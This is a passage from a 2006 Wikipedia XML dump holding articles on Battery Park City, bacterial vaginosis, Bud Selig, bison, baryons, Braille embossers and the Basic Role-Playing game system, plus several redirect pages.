Battery Park City is owned and managed by the [[Battery Park City Authority]], a [[public-benefit corporation]] created by New York State. Excess revenue from the area is contributed to other housing efforts, typically low-income projects in the [[Bronx]] and [[Harlem, Manhattan|Harlem]].

==Geography==

Battery Park City is bounded on the east by West Street, which insulates the area from the [[Financial District (Manhattan)|Financial District]] of downtown Manhattan. To the west, north and south, the area is surrounded by the tidal estuary of the Hudson River.

The development consists of roughly five major sections. Traveling North to South, the first neighborhood, the &quot;North Residential Neighborhood,&quot; consists of high-rise residential buildings, a large hotel and a mall (currently occupied by a movie theater, restaurants and a discount store for leather goods and accessories). Former parkland in the area is being converted into high-rise buildings.

Immediately to the South lies the [[World Financial Center]], a complex of several commercial buildings occupied by tenants including [[American Express]], [[Dow Jones &amp; Company]], [[Merrill Lynch]] and [[Deloitte &amp; Touche]]. The World Financial Center's ground floor and portions of the second floor are occupied by a mall; its center point is a steel-and-glass atrium known as the [[Winter Garden]]. Outside of the Winter Garden lies a sizeable [[yacht]] harbor on the Hudson known as [[North Cove]].

South of the World Financial Center lies the majority of Battery Park City's residential areas, in three sections: &quot;Gateway Plaza&quot;, a high-rise building complex; the &quot;Rector Place Residential Neighborhood&quot; and the &quot;Battery Place Residential Neighborhood&quot;, mostly low-rise building complexes.  These neighborhoods contain most of the area's residential buildings, along with park space and various types of supporting businesses ([[supermarket]]s, [[restaurant]]s, [[movie theatre]]s.) Construction of residential buildings began north of the World Financial Center in the late 1990s.

==History==

By the late 1950s, the once prosperous port area of downtown Manhattan was occupied by a number of dilapidated shipping piers, casualties of the rise of air transport.  The initial proposal to reclaim this area through landfill was offered in the early 1960s by private firms and supported by the Mayor.  This plan became complicated when Governor [[Nelson Rockefeller]] announced his desire to redevelop a part of the area as a separate project.  The various groups reached a compromise, and in [[1966]] the governor unveiled the proposal for what would become Battery Park City.  The creation of architect [[Wallace K. Harrison]], the proposal called for a 'comprehensive community' consisting of housing, social infrastructure and light industry.  In [[1968]], the [[New York State Legislature]] created the [[Battery Park City Authority]] (BPCA) to oversee development.

For the next several years, the BPCA made slow progress.  In [[1969]], it unveiled a master plan for the area, and in [[1972]] issued $200 million in bonds to fund construction efforts.  By [[1976]] the landfill was completed; in many cases, the pre-existing piers were simply buried.

Construction efforts ground to a halt for nearly two years beginning in [[1977]], as a result of city-wide financial hardships.  In [[1979]], the title to the landfill was transferred from the city to the BPCA, which financially restructured itself and created a new, more limited master plan.

Construction began on the first residential building in [[1980]], followed in [[1981]] with the start of construction on the World Financial Center, which saw its first tenants in [[1985]].  Throughout the 1980s, the BPCA oversaw a great deal of construction, including the entire [[Rector Place]] neighborhood and the river Esplanade.  In the early 1990s, Battery Park City became the new home of the [[Stuyvesant High School]].  By the turn of the century, Battery Park City was mostly completed, with the exception of some ongoing construction on West Street.

Current residential neighborhoods of Battery Park City are divided into a north and south section, separated by the World Financial Center Complex. The southern section, extending down from the Winter Garden, is the more densly populated region, containing Gateway Plaza, and Rector Place apartment buildings. The northern section, although still under very large construction, consists entirely of large, 20-45 story buildings which are all various shades of orange brick. 

The [[September 11, 2001 attacks]] had a major impact on Battery Park City.  More than two thirds of the area's residents fled after the adjacent [[World Trade Center|Trade Center]] towers collapsed.  Gateway Plaza, the largest of the residential buildings, was punctured by airplane parts, and the Winter Garden was severely damaged.  Environmental concerns regarding dust from the Trade Center have also been a continuing source of worry.  Since the attacks, much of the damage has been repaired; reduced rents and government subsidies have gone a long way to restoring residential occupancy.

==External links==

*[http://www.batteryparkcity.org Battery Park City Authority]
*[http://www.nycfoto.com/showPage.php?albumID=196 NYCfoto.com] Photos of Battery Park City
*[http://batteryparkcityonline.com Battery Park City ONLINE] Community Web-site

{{New York City}}
[[Category:Manhattan neighborhoods]]

[[es:Battery Park City]]
[[fr:Battery Park City]]

{{Manhattan}}</text>
    </revision>
  </page>
  <page>
    <title>Bacterial vaginosis</title>
    <id>4581</id>
    <revision>
      <id>40818564</id>
      <timestamp>2006-02-23T05:21:26Z</timestamp>
      <contributor>
        <username>Girlstyle</username>
        <id>697996</id>
      </contributor>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Bacterial vaginosis |
  ICD10       = {{ICD10|B|96||b|95}}, {{ICD10|N|76||n|70}} |
  ICD9        = {{ICD9|616.1}} |
}}
'''Bacterial vaginosis (BV)''' is the most common cause of vaginal infection ([[vaginitis]]).  

==Symptoms and signs==
The commonest symptom of BV is an abnormal [[vaginal discharge]] with an unpleasant fishy smell.  However, half of all [[women]] with BV don't notice any symptoms.

[[Clue cells]] can also be used in diagnosis.

==Causes==
A healthy vagina normally contains many [[microorganisms]], one of the common ones being [[Lactobacillus acidophilus]]. Lactobacillus appears to help prevent other vaginal microorganisms from multiplying to a level where they cause symptoms. The microorganisms involved in BV include [[Gardnerella vaginalis]], [[Mobiluncus]], [[Bacteroides]], and [[Mycoplasma]].  For reasons not well understood, the numbers of these organisms increase with BV while the number of lactobacillus organisms decreases.

Most cases of bacterial vaginosis occur in sexually active women between the ages of 15 and 44, especially after contact with a new partner. [[Condom]]s do not appear to provide protection, but use of [[spermicide]]s increases BV risk somewhat.  Although BV appears to be associated with and triggered by [[sexual intercourse]], there is no clear evidence of sexual transmission. Rather, BV is a disordering of the chemical and biological balance of the [[normal flora]].  Recent research is exploring the link between sexual partner treatment and eradication of recurrent cases of BV. [[Pregnancy|Pregnant]] women and women with a [[sexually transmitted disease]] are especially at risk for getting this infection. Bacterial vaginosis does not usually affect women after [[menopause]].

==Treatment==
Bacterial vaginosis can be cured by [[antibiotics]] such as [[Metronidazole]].

==See also==
* [[Vulvovaginal disorders]]
* [[Sexually transmitted diseases]]

==External links==
* [http://www.niaid.nih.gov/factsheets/vaginitis.htm Vaginitis/Vaginal infection fact sheet from the [[National Institute of Allergies and Infections]]]

[[Category:Gynecology]]

[[sr:Вагиноза]]</text>
    </revision>
  </page>
  <page>
    <title>Bud Selig</title>
    <id>4582</id>
    <revision>
      <id>41309858</id>
      <timestamp>2006-02-26T13:10:56Z</timestamp>
      <contributor>
        <username>Rebelguys2</username>
        <id>406178</id>
      </contributor>
      <minor />
      <comment>&quot;In regards to&quot; --&gt; &quot;in regard to&quot;, per [[Wikipedia:Elements of Style improvement project]]</comment>
      <text xml:space="preserve">[[Image:Ph hist comm mug selig.jpg|right]]
'''Allan Huber &quot;Bud&quot; Selig''' (born [[July 30]], [[1934]] in [[Milwaukee, Wisconsin]]) is the current [[Baseball commissioner|Commissioner of Baseball]], having been formally appointed on [[July 2]], [[1998 in baseball|1998]] after having served as acting commissioner since [[1992 in baseball|1992]]. He was previously the team owner and administrator of the [[Milwaukee Brewers]]. On [[August 21]], [[2004 in baseball|2004]], Selig's contract was extended for three years by [[Major League Baseball]], extending his term to [[December 31]], [[2007]]. Selig is a resident of [[Milwaukee, Wisconsin|Milwaukee]] and owned used car dealerships before entering baseball.

==Early life==

Born in Milwaukee, Selig played baseball as a child but quit because he was unable to hit a [[curveball]]. Selig received a bachelor's degree in American History and Political Science from the [[University of Wisconsin-Madison]] in [[1956]]. After serving two years in the armed forces, Selig returned to Milwaukee and began working in the automobile business with his father. 

As a young man, Selig watched the old [[Milwaukee Brewers minor league|Milwaukee Brewers minor league team]] and the [[Chicago Cubs]] of the [[National League]]. Bud soon became a Braves fan when the National League franchise moved to his home town of Milwaukee from Boston in [[1953 in baseball|1953]]. Selig was heartbroken and devastated when he learned that the Braves were going to leave Milwaukee in favor of Atlanta. Prior to [[1965 in baseball|1965]], when the Braves left Milwaukee, Selig became the team's largest public stockholder.

==Milwaukee Brewers owner==
Selig vowed to return Major League Baseball to Milwaukee shortly after the Braves left. He started his quest by founding the organization &quot;Teams, Inc.&quot; The group, which later changed its name to &quot;The Brewers&quot;, arranged for several [[Chicago White Sox]] games to be played in Milwaukee in [[1968 in baseball|1968]]. Selig went as far as attempting to purhase the White Sox (with the intention of moving them to Milwaukee) in [[1969 in baseball|1969]].  He reached an agreement to buy the club, but the [[American League]] vetoed the sale, preferring to keep an American League team in Chicago to compete with the crosstown [[Chicago Cubs|Cubs]].

In [[1970 in baseball|1970]] he responded to the [[1965]] departure of the [[Atlanta Braves|Milwaukee Braves]] to [[Atlanta, Georgia|Atlanta]] by purchasing the bankrupt [[Seattle Pilots]] franchise, moving them to his hometown and renaming the team the [[Milwaukee Brewers]].

During Selig's tenure as club president, the Brewers appeared in the [[1982 World Series]] (under the leadership of future [[Baseball Hall of Fame|Hall of Famers]] [[Robin Yount]] and [[Paul Molitor]]) but have since failed to make another appearance in the Series. Under Selig's watch, the Brewers also won seven &quot;Organization of the Year&quot; awards. 

Upon his assumption of the Commissioner's role, Selig transferred his ownership interest in the Brewers to his daughter [[Wendy Selig-Prieb]] in order to remove any technical conflicts of interest, though it was widely presumed he maintained some hand in team operations. Although the team has been sold to [[Los Angeles, California|Los Angeles]] investor [[Mark Attanasio]], questions remain regarding Selig's past involvement.  Selig's defenders point to the poor management of the team after Selig-Prieb took control as proof that Selig was not working behind the scenes.

==Actions as Commissioner==
While hailed by some baseball's owners as a visionary who has salvaged the sport, he is vilified by many fans and some in the media, primarily for labor-related issues but also for considering changes that have met with disfavor, particularly placing advertising on player uniforms and on the field.

As '''Executive Council Chairman''' (Selig's official title while serving as &quot;acting commissioner&quot; from 1992-1998) and Commissioner, new stadiums have opened in [[Phoenix, Arizona|Arizona]], [[Atlanta, Georgia|Atlanta]], [[Cincinnati, Ohio|Cincinnati]], [[Cleveland, Ohio|Cleveland]], [[Denver, Colorado|Colorado]], [[Detroit, Michigan|Detroit]], [[Houston, Texas|Houston]], [[Milwaukee, Wisconsin|Milwaukee]], [[Philadelphia, Pennsylvania|Philadelphia]], [[Pittsburgh, Pennsylvania|Pittsburgh]], [[San Diego, California|San Diego]], [[San Francisco, California|San Francisco]], [[Seattle, Washington|Seattle]] and [[Arlington, Texas|Arlington]] (with a new facility in [[St. Louis, Missouri|St. Louis]] set to open in [[2006 in baseball|2006]]). In [[2002 in baseball|2002]], Selig announced that he would start enforcing the 60/40 rule (asset/debt ratio) despite his Brewers being at 100/97 just five years before. Under Selig, Major League Baseball also saw the consolidation of the administrative functions of the [[American League|American]] and [[National League]] into the Commissioner's Office in [[2000 in baseball|2000]]. The last official presidents of the NL and AL were [[Leonard Coleman]] and Dr. [[Gene Budig]] respectively.

Selig suspended [[Marge Schott]] for a year in [[1993 in baseball|1993]] for repeated prejudicial remarks and actions. The same year [[George Steinbrenner]] was reinstated from a lifelong suspension that was instituted by Selig's predecessor [[Fay Vincent]]. [[Pete Rose]] has claimed that he applied for reinstatement over the years and received no such consideration. Incidentally, Bud Selig was a close friend of the late [[A. Bartlett Giamatti|Bart Giamatti]], who was the commissoner when Rose first got banned from baseball in [[1989 in baseball|1989]].  

As acting commissioner, he presided over the [[1994 in baseball|1994]] players [[1994 baseball strike|strike]] and resulting cancellation of the [[World Series]] (the first time it had not been staged since [[1904 World Series|1904]]). Ever since the days of the 1994 work stoppage, some fans have accused Selig of being little more than a puppet for the owners rather than a true leader.

During his tenure the game avoided a second work stoppage in [[2002 in baseball|2002]], seen the implementation of [[interleague play]], divisional realignment (oddly enough, the subject that resulted in the ouster of Selig's predecessor Fay Vincent), and the addition of a third round of post-season play.

On [[September 11]], [[2001]], Selig ordered all baseball games postponed for a week because of the [[September 11, 2001 attacks|terror attacks on New York and Washington]].  The games were postponed not only out of respect and mourning for the victims, but also out of concern for the safety and security of fans and players.

Selig was heavily criticized for staging [[contraction]] hearings on the [[Minnesota Twins]] and the [[Montreal Expos|Montréal Expos]] less than 48 hours after the dramatic conclusion of the [[2001 World Series]]. This action, among others, led to Selig (along with former Expos owner [[Jeffrey Loria]]) being charged with racketeering and conspiring with Loria to deliberately defraud the Expos minority owners. If found guilty the league could have been liable for $300 million in punitive damages. Selig was eager to settle the case because the judge had previously ruled that the Expos could not be moved or contracted until the case was over. The case eventually went to arbitration and was settled out of court for an undisclosed sum. 

An embarrassing moment during Bud Selig's tenure came during the 2002 [[Major League Baseball All-Star Game|All-Star Game]] in Selig's hometown of Milwaukee. The game was tied 7-7 in the bottom of the 11th inning.  Unfortunately, the managers ran out of pitchers, and Selig felt that he had no option other than to call the game a tie.

In [[2005 in baseball|2005]], he faced [[U.S. Congress|Congress]] on the issue of [[Anabolic steroids|steroids]], saying that he only became aware of this problem in [[1998 in baseball|1998]] around the time of [[Mark McGwire]]'s home run record. However, per [[ESPN]], he forgot that MLB and the owners had a meeting about this issue as far back as [[1993 in baseball|1993]]. He also implied that the [[Major League Baseball Players Association|MLBPA]] was the real culprit to any steroid use reform. Since the Congressional hearings in early 2005, Selig has put forth a much more strict proposal for steroid testing to replace the current system. This proposal also makes Selig the first major sports commissioner to propose the banning of [[amphetamines]], which, some say, are more of a problem in baseball than steroids themselves.

On [[July 1]], [[2005]], Selig suspended [[Texas Rangers (baseball)|Texas Rangers]] pitcher [[Kenny Rogers (baseball player)|Kenny Rogers]] for 20 games and fined him $50,000. Rogers got in trouble when on [[June 29]], [[2005]], he angrily shoved two cameramen, knocking a camera to the ground. One of the reporters then resumed filming and Rogers shoved him again, this time kicking the camera after it had been knocked to the ground a second time. While an appeal of his suspension was pending, Rogers appeared at the [[2005 in baseball|2005]] All-Star Game in [[Detroit Michigan|Detroit]], where fans loudly booed him. On [[July 22]], [[2005]], Selig heard Rogers' appeal of his suspension; on [[July 27]], Selig upheld the suspension.

In [[August 2005]], Selig came under fire by [[Boston Red Sox]] pitcher [[David Wells]]. Wells lashed out at Selig after losing an appeal of a six-game suspension, saying the that Selig &quot;isn't doing a thing&quot; about steroids. Wells, who called Selig an &quot;idiot&quot; in a spring training interview with the Hartford Courant, accused Selig of retaliating for his past comments in handing out the latest suspension. Wells has since apologized to Selig.[http://www.boston.com/sports/baseball/articles/2005/08/31/wells_apologizes_to_selig/]

While he remains a controversial figure among fans, Selig has found more defenders in the press of late, particularly in regard to interleague play, the [[Wild_card_%28sports%29#Major_League_Baseball|wild card]] and the new steroids] testing policy.

== External links ==
*{{nndb name|id=226/000025151/|name=Bud Selig}}
*[http://www.slate.com/id/2118114/ &quot;Bud Selig: A baseball hero. Really.&quot;] - Nicholas Thompson, [[Slate.com]], May 5, 2005
*[http://www.baseball-almanac.com/articles/bud_selig_biography.shtml Baseball Almanac bio]
*[http://www.contractbud.com/index.html?article=poll_bud2003_results What has been Bud Selig's worst act as commissioner?]
*[http://www.contractbud.com/index.html?article=apc_goodbud What Bud Selig Is Doing Right]
*[http://www.contractbud.com/index.html?article=mjp_openletter An open letter to Bud Selig]
*[http://www.contractbud.com/index.html?article=apc_budselig The Call for the Removal of Bud Selig as Commissioner of Baseball]
*[http://www.jsonline.com/sports/brew/thu/selig70998.stm Selig elected Commissioner in unanimous vote]
*[http://synapticflatulence.blogspot.com/2004/09/epitaph-for-montreal-expos-i-never.html Selig's role in the deliberate destruction of the Montreal Expos]
{{start box}}
{{succession box | before=[[Fay Vincent]]| title=[[Baseball Commissioner|Commissioner of Baseball]] | years=1992- | after=Incumbent}}
{{end box}}
[[Category:1934 births|Selig, Bud]]
[[Category:Living people|Selig, Bud]]
[[Category:Baseball commissioners|Selig, Bud]]
[[Category:Baseball executives|Selig, Bud]]
[[Category:Milwaukeeans|Selig, Bud]]
[[Category:Milwaukee Brewers|Selig, Bud]]
[[Category:Jewish-American businesspeople|Selig, Bud]]
[[ja:&amp;#12496;&amp;#12489;&amp;#12539;&amp;#12475;&amp;#12522;&amp;#12464;]]</text>
    </revision>
  </page>
  <page>
    <title>Bison</title>
    <id>4583</id>
    <revision>
      <id>41571964</id>
      <timestamp>2006-02-28T05:44:30Z</timestamp>
      <contributor>
        <username>Drumguy8800</username>
        <id>246568</id>
      </contributor>
      <minor />
      <comment>Slight cleanup, fix redirect wikilink</comment>
      <text xml:space="preserve">{{otheruses}}
{{Taxobox
| color = pink
| name = ''Bison''
| image = Зубр.jpg
| image_width = 250px
| image_caption = [[Wisent|European Bison]]
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Artiodactyla]]
| familia = [[Bovidae]]
| subfamilia = [[Bovinae]]
| genus = '''''Bison'''''
| genus_authority = [[Carolus Linnaeus|Linnaeus]], 1758
| subdivision_ranks = [[Species]]
| subdivision = 
''[[Bison antiquus|B. antiquus]]''&lt;br&gt;
''[[American Bison|B. bison]]''&lt;br&gt;
''[[Wisent |B. bonasus]]''&lt;br&gt;
''[[Bison latifrons|B. latifrons]]''&lt;br&gt;
''[[Bison occidentalis|B. occidentalis]]''&lt;br&gt;
''[[Steppe Wisent|B. priscus]]''&lt;br&gt;
}}

'''Bison''' is a taxonomic genus containing six species of large [[even-toed ungulate]]s within the subfamily [[Bovinae]]. Only two species are still extant&amp;mdash;the [[American Bison|American]] and [[Wisent|European]] bisons.

==Species==
* [[Long-horned Bison]] - ''Bison latifrons'' - extinct 
* [[Ancient Bison]] - ''Bison antiquus'' - extinct
* [[Asian Bison]] - ''Bison occidentalis'' - extinct
* Steppe Bison or [[Steppe Wisent]] - ''Bison priscus'' - extinct
* [[American Bison]] - ''Bison bison''
** [[Plains Bison|Plains (Prairie) Bison]] - ''Bison bison bison''
** [[Wood Bison]] - ''Bison bison athabascae''
* European Bison or [[Wisent]] - ''Bison bonasus''
** [[Lowland Bison]] - ''Bison bonasus bonasus''
** [[Caucasus Bison]] - ''Bison bonasus caucasicus'' - extinct
** [[Hungarian Bison|Hungarian (Carpathian) Bison]] - ''Bison bonasus hungarorum'' - extinct
[[Image:American bison k5680-1.jpg|thumb|left|250px|A North American bison]]

==See also==
* [[Bovid hybrid]]s


{{Mammal-stub}}

[[Category:Bovines]]

[[bg:Бизони]]
[[de:Bisons]]
[[eo:Bizono]]
[[fr:Bison]]
[[he:ביזון]]
[[io:Bizono]]
[[pl:Bizon]]
[[pt:Bisonte]]
[[simple:Bison]]
[[th:กระทิง]]</text>
    </revision>
  </page>
  <page>
    <title>Baryon</title>
    <id>4584</id>
    <revision>
      <id>41338310</id>
      <timestamp>2006-02-26T18:14:52Z</timestamp>
      <contributor>
        <username>Xerxes314</username>
        <id>43566</id>
      </contributor>
      <minor />
      <comment>better disambiguation</comment>
      <text xml:space="preserve">[[Image:Octeto bariônico.png|thumb|right|300px|The octet of light spin-1/2 baryons.]]
In [[particle physics]], the '''baryons''' are a family of [[subatomic particle]]s including the [[proton]] and the [[neutron]] (collectively called [[nucleon]]s), as well as a number of unstable, heavier particles (called [[hyperon]]s).  The term &quot;baryon&quot; is derived from the [[Greek language|Greek]] ''barys'', meaning &quot;heavy,&quot; as they are heavier than the other main groups of particles.

Baryons are strongly interacting [[fermion]]s &amp;mdash; that is, they experience the [[strong nuclear force]] and are described by [[Fermi-Dirac statistics]], which apply to all particles obeying the [[Pauli exclusion principle]]. This is in contrast to the [[boson]]s, which do not obey the Exclusion principle.

Baryons, along with [[meson]]s, belong to the family of particles known as [[hadron]]s, meaning they are composed of [[quark]]s. Baryons are fermions composed of three quarks, while mesons are bosons composed of a quark and an antiquark. The [[quark model]] classification of baryons is based on this construction.

In addition to the nucleons (protons and neutrons), other members of the baryon family include the [[Delta (letter)|&amp;Delta;]], [[Lambda|&amp;Lambda;]], [[Sigma (letter)|&amp;Sigma;]], [[Xi|&amp;Xi;]] and [[Omega|&amp;Omega;]] particles.

Delta baryons (&amp;Delta;&lt;sup&gt;++&lt;/sup&gt;, &amp;Delta;&lt;sup&gt;+&lt;/sup&gt;, &amp;Delta;&lt;sup&gt;0&lt;/sup&gt;, &amp;Delta;&lt;sup&gt;&amp;minus;&lt;/sup&gt;) are composed of a combination of up and down quarks such that the total spin is 3/2. They primarily decay into a [[pion]] and either a [[proton]] or [[neutron]].

Lambda baryons (&amp;Lambda;&lt;sup&gt;0&lt;/sup&gt;) are composed of one up, one down, and one strange quark, with the up and down quarks in an [[isospin]] 0 (flavor-antisymmetric) state.  The neutral lambda provided the first observational evidence of the strange quark.

Sigma baryons (&amp;Sigma;&lt;sup&gt;+&lt;/sup&gt;, &amp;Sigma;&lt;sup&gt;0&lt;/sup&gt;, &amp;Sigma;&lt;sup&gt;&amp;minus;&lt;/sup&gt;), are also composed of one strange quark and a combination of up and down quarks, but arranged in an isospin 1 state.  The neutral sigma has the same quark composition as the neutral lambda (up, down, strange), and so decays much faster than either &amp;Sigma;&lt;sup&gt;+&lt;/sup&gt; (up, up, strange) or &amp;Sigma;&lt;sup&gt;&amp;minus;&lt;/sup&gt; (down, down, strange).

Xi baryons, (&amp;Xi;&lt;sup&gt;0&lt;/sup&gt;, &amp;Xi;&lt;sup&gt;&amp;minus;&lt;/sup&gt;), are composed of two strange quarks and either an up or down quark.  The neutral xi, &amp;Xi;&lt;sup&gt;0&lt;/sup&gt;, composed of an up and two strange quarks, decays into a neutral lambda and a neutral pion, which itself rapidly decays into two [[photon]]s.

The omega minus baryon (&amp;Omega;&lt;sup&gt;&amp;minus;&lt;/sup&gt;) is composed of three strange quarks.  Its discovery was a great triumph in the study of quark processes, since it was found only after its existence, mass, and decay products had already been predicted.

There are additional baryon states which contain heavy quarks. These are denoted by the Greek letter corresponding to their light (up/down/strange) flavor content with a subscript indicating that a strange quark should be replaced by a heavier quark. For example, the &amp;Lambda;&lt;sup&gt;+&lt;/sup&gt;&lt;sub&gt;c&lt;/sub&gt; has quark content (charm, up, down) instead of (strange, up, down).

==Baryonic matter==
'''Baryonic [[matter]]''' is matter composed mostly of baryons (by mass), which includes [[atom]]s of any sort (and thus includes nearly all matter that we may encounter or [[experience]] in everyday life, including our bodies). '''Non-baryonic matter''' is the fundamental [[antithesis]] of such matter, being any sort of matter that is not primarily composed of baryons. This might include such ordinary matter as [[neutrino]]s, photons or free [[electron]]s; however, it may also include exotic species of non-baryonic [[dark matter]], such as [[supersymmetry|supersymmetric particles]], [[axion]]s or [[black hole]]s. The distinction between baryonic and non-baryonic matter is important in [[cosmology]], because [[Big Bang]] [[nucleosynthesis]] models set tight constraints on the amount of baryonic matter present in the early [[universe]].

The very existence of baryons is also a significant problem in cosmology, since we have assumed that the Big Bang produced a state with equal amounts of baryons and anti-baryons. The process by which baryons come to outnumber their antiparticles is called [[baryogenesis]] (in contrast to a process by which leptons account for the predominance of matter over antimatter, [[leptogenesis (physics)|leptogenesis]]).

==See also==
* [[List of baryons]]
* [[Baryon number]]
* [[Particle physics]]
* [[Pentaquark]]
* [[List of particles]]
* [[Proton decay]]



{{composite}}


[[Category:Baryons | ]]
[[Category:Nuclear physics]]

[[bg:Барион]]
[[ca:Barió]]
[[de:Baryon]]
[[es:Barión]]
[[fr:Baryon]]
[[he:באריון]]
[[hu:Barion]]
[[it:Barione]]
[[ja:バリオン]]
[[ko:바리온]]
[[nl:Baryon]]
[[pl:Barion]]
[[pt:Bárion]]
[[ru:Барион]]
[[sv:Baryon]]
[[vi:Baryon]]
[[zh:重子]]</text>
    </revision>
  </page>
  <page>
    <title>Byzantine fire</title>
    <id>4586</id>
    <revision>
      <id>33316766</id>
      <timestamp>2005-12-31T00:24:09Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Greek fire]]</text>
    </revision>
  </page>
  <page>
    <title>Braille embosser</title>
    <id>4589</id>
    <revision>
      <id>39887439</id>
      <timestamp>2006-02-16T16:00:34Z</timestamp>
      <contributor>
        <ip>87.242.143.111</ip>
      </contributor>
      <text xml:space="preserve">A '''Braille embosser''' is a [[computer printer|printer]], necessarily an impact printer, that renders text as [[Braille]]. Utilizing special [[Braille translator|translation]] software, a print document can be embossed with relative ease, making Braille production much more efficient and cost-effective.

Blind users tend to call other printers ink printers, to distinguish them from
their Braille counterparts. This is often the case regardless of the type of printer being discussed.

As with ink printers, embossers come in all shapes and sizes, and are used by everyone from individual [[computer]] users to large corporations that produce books, magazines, and other widely distributed publications, requiring fast, high-volume embossing capabilities. Thus, an embosser can cost roughly anywhere from US$2,000 to $80,000, depending on the user's needs.

==See also==
*[[Braille ASCII]]
*[[Perkins Brailler]]

== References ==
{{FOLDOC}}


{{Compu-hardware-stub}}

[[Category:Blindness equipment]]
[[Category:Braille]]</text>
    </revision>
  </page>
  <page>
    <title>Brachycephalic</title>
    <id>4590</id>
    <revision>
      <id>15902852</id>
      <timestamp>2002-10-10T08:46:58Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Cephalic index]]</comment>
      <text xml:space="preserve">#REDIRECT [[Cephalic index]]</text>
    </revision>
  </page>
  <page>
    <title>Biological anthropology</title>
    <id>4591</id>
    <revision>
      <id>15902853</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Physical anthropology]]
</text>
    </revision>
  </page>
  <page>
    <title>Basic Role-Playing</title>
    <id>4592</id>
    <revision>
      <id>37424065</id>
      <timestamp>2006-01-30T22:56:50Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: fr</comment>
      <text xml:space="preserve">[[Image:Basic_Roleplaying.gif|right]]
[[Basic Role-Playing]], or '''BRP''', is the name of the &quot;generic&quot; form of the [[fantasy]]-oriented ''[[RuneQuest]]'' [[role-playing game]] rules. A percentile skill-based system, BRP was used as the basis for most of the games published by [[Chaosium]], including ''[[Call of Cthulhu (role-playing game)|Call of Cthulhu]]'', ''[[Elfquest]]'', ''[[Stormbringer (role-playing game)|Stormbringer]]'' (aka ''Elric!''), ''[[Hawkmoon]]'', ''[[Superworld]]'', ''[[Nephilim (RPG)|Nephilim]]'', and ''[[Ringworld (RPG)|Ringworld]]''. ''[[Pendragon (role-playing game)|Pendragon]]'' (acquired in 1998 by [[Green Knight Publishing]]), while related, has sufficiently different mechanics that it can only be seen as a separate system. The BRP standalone booklet was first released in [[1982]] as part of the [[Worlds of Wonder]] boxed set. [[Greg Stafford]] and [[Lynn Willis]] are credited as the authors.

At least one non-Chaosium game has used BRP for its core rules. ''[[Other Suns]]'', published by [[Fantasy Games Unlimited]] (FGU), used them under license. In addition, ''[[Corum]]'', a supplement to the ''Stormbringer'' rules, was published in the fall of 2001 by [[Darcsyde Productions]]. BRP was used (through a special arrangement with Swedish gaming guru Fred Malmberg) as the base for the highly successful Swedish game ''[[Drakar och Demoner]]'' from [[Target Games]].

BRP was conceived of as being a sort of genre-generic engine around which any sort of RPG could be played, much like [[GURPS]] and the [[D20 system]] have become today. In order to underscore this, Chaosium produced the [[Worlds of Wonder]] supplement, which contained the generic rules and several specific applications of those rules to given genres. ''[[Superworld]]'', specifically, began as a portion of the Worlds of Wonder product.

Although similar in a general way to other generic systems such as [[GURPS]], [[Hero System]] or [[Savage Worlds]], BRP is also quite different. Each incarnation of the BRP rules has changed or added to the core ideas and mechanics, resulting in generally compatible games that also provide a slightly different tone or feel to them, or which have slightly different rules interpretations.  For example, in ''Call of Cthulhu'', skills may never be over 100%, while in ''Stormbringer'' skills in excess of 100% are encouraged for those who follow Law. 

BRP was developed from a core set of [[Ability score|attributes]] very similar to the original [[Dungeons &amp; Dragons]] (D&amp;D). So Strength, Constitution, Size, Intelligence, Power, Dexterity and Charisma (or Appearance) replaced the D&amp;D norms. From that was evolved a structurally simulationist system. Therefore hit points, which increase with experience in ''D&amp;D'' were based on the average of Size and Constitution and were functionally stable for the life of the character. [[skill (role-playing)|Skill]]s, using a d100, rather than the ''D&amp;D'' d20, were used to simulate the way that people learn skills. Experience points were replaced by an experience check, rolling higher than your current skill on a d100. This created a learning curve that levelled out the higher a skill was. The Resistance Table, in which two attributes are compared and a chance of success read from a table, is the ugly duckling of the BRP system. It is potentially an entire system mechanic on its own and yet many say it sits oddly with the existing skill system.

Armour, which had been merged with defence in ''D&amp;D'' was broken out. The act of parrying was a skill, the ability of the armor to absorb damage was a separate function. The last major element of many BRP games is one that is shared with [[Tunnels and Trolls]] (T&amp;T), which originated this, which is that there is no difference between the player character race systems and the monster or opponents. By varying ability scores the same system is used for a human hero as a trollish villain. This approach also led quickly, as it did in ''T&amp;T'', to players often playing a wide range of non-human characters and game worlds that were deeply pluralist.

The core rules were originally written by [[Steve Perrin]] as part of his ground-breaking game ''RuneQuest''. It was [[Greg Stafford]]'s idea to simplify the rules (eliminating such things as Strike Ranks and Hit Locations) and issue them in a 16 page booklet called ''Basic Role Playing''. Over the years several others, including [[Sandy Petersen]], [[Lynn Willis]] and undoubtedly many more, contributed to their final form.

In 2004, Chaosium published the Basic Role-Playing Players Book and Magic Book in monograph format, a very quick and cheap printed format, in order to assert their copyrights in the run-up to the publishing and distribution of essentially the 3rd Edition RuneQuest rules under the Basic Role-Playing name.

== External links ==
* [http://www.basicrps.com/ www.basicrps.com]
* [http://basicrps.narod.ru/ Mailing List of the Basic Role-Playing System]

[[Category:Basic Role-Playing System]]

[[fr:Basic Role Playing System]]
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[[zh:基本角色扮演系統]]</text>
    </revision>
  </page>
  <page>
    <title>Battleship game</title>
    <id>4593</id>
    <revision>
      <id>15902855</id>
      <timestamp>2004-10-19T07:36:17Z</timestamp>
      <contributor>
        <username>Stan Shebs</username>
        <id>7777</id>
      </contributor>
      <comment>#REDIRECT [[Battleship (game)]]</comment>
      <text xml:space="preserve">#REDIRECT [[Battleship (game)]]</text>
    </revision>
  </page>
  <page>
    <title>Block cipher</title>
    <id>4594</id>
    <revision>
      <id>42085309</id>
      <timestamp>2006-03-03T18:56:59Z</timestamp>
      <contributor>
        <username>Bota47</username>
        <id>341052</id>
      </contributor>
      <minor />
      <comment>robot  Adding: cs</comment>
      <text xml:space="preserve">[[Image:Encryption.png|thumb|225px|Encryption]]
